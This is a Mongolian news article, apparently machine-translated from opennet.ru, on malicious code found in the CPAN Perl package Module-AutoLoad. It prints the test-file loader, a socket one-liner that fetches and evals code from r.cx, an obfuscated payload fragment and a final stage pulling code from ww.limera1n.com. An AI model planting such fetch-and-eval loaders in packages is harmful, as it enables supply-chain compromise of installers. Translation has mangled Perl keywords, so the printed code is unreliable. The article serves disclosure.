Module-AutoLoad Perl багцаас хортой код илэрсэн

CPAN лавлахаар түгээгдсэн Perl багцад Модуль-Автоматаар ачаалахCPAN модулиудыг шууд ачаалах зориулалттай, тодорхойлсон хортой код. Хортой оруулга байсан олдсон туршилтын кодонд 05_rcx.t, 2011 оноос хойш тээвэрлэлт хийж байна.
Эргэлзээтэй кодыг ачаалах тухай асуултууд гарч ирсэн нь анхаарал татаж байна Stackoverflow буцаж 2016 онд.

Хортой үйл ажиллагаа нь модулийг суулгах үед эхлүүлсэн туршилтын багцыг ажиллуулах явцад гуравдагч талын серверээс (http://r.cx:1/) код татаж авах, ажиллуулах оролдлого хүртэл буурдаг. Гадаад серверээс анх татаж авсан код нь хортой биш байсан гэж таамаглаж байгаа боловч одоо хүсэлтийг ww.limera1n.com домэйн руу дахин чиглүүлж байгаа бөгөөд энэ нь кодыг гүйцэтгэхэд зориулж түүний хэсгийг өгдөг.

Татаж авах ажлыг файлд зохион байгуулах 05_rcx.t Дараах кодыг ашигладаг.

миний $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
миний $ оролдлого = `$^X $прог`;

Заасан код нь скриптийг гүйцэтгэхэд хүргэдэг ../contrib/RCX.pl, агуулгыг нь мөр болгон багасгасан:

lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88-г ашиглах.":1″};

Энэ скрипт ачаалагдана будилсан үйлчилгээг ашиглах perlobfuscator.com гадаад хост r.cx-ийн код (82.46.99.88 тэмдэгтийн кодууд нь "R.cX" тексттэй тохирч байна) ба үүнийг eval блокт гүйцэтгэдэг.

$ perl -MIO::Socket -e'$b=шинэ IO::Socket::INET 82.46.99.88.":1″; <$b> хэвлэх;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Сав баглаа боодолыг задласны дараа эцэст нь дараахь зүйлийг гүйцэтгэнэ. код:

хэвлэх{$b=шинэ IO::Socket::INET"ww.limera1n.com:80″}" /iJailBreak АВАХ
";evalor return warn$@while$b;1

Асуудалтай багцыг одоо репозитороос устгасан. BREAK (Perl Authors Upload Server), модулийн зохиогчийн бүртгэл хаагдсан байна. Энэ тохиолдолд модуль хэвээр байна боломжтой MetaCPAN архивт байгаа бөгөөд cpanminus гэх мэт зарим хэрэгслийг ашиглан MetaCPAN-аас шууд суулгаж болно. Үүнийг тэмдэглэж байнабагц өргөн тархаагүй байсан.

Хэлэлцэх сонирхолтой холбогдсон мөн модулийн зохиогч нь түүний “r.cx” сайтыг хакердсаны дараа хортой код оруулсан гэх мэдээллийг үгүйсгэж, зүгээр л хөгжилдөж байна гэж тайлбарлаж, perlobfuscator.com сайтыг ямар нэг зүйлийг нуух биш харин хэмжээг багасгах зорилгоор ашигласан. кодын санах ойг ашиглан хуулбарлах ажлыг хялбарчлах. "botstrap" функцын нэрийг сонгосон нь энэ үг нь "bot шиг сонсогдож байгаа бөгөөд bootstrap-аас богино" гэсэн утгатай тайлбар юм. Модулийн зохиогч мөн тодорхойлсон заль мэх нь хорлонтой үйлдэл хийдэггүй, зөвхөн TCP-ээр дамжуулан кодыг ачаалж, гүйцэтгэж байгааг харуулж байна гэж батлав.

Эх сурвалж: opennet.ru